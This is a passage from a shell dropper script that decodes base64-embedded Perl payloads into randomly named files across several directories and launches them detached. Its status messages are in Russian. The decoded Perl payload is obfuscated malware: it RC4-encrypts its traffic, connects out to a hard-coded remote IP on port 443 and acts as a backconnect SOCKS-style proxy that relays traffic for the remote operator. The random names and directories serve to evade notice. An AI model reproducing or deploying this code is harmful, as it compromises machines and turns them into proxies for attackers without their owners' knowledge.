b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #59 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #59 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 60 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy 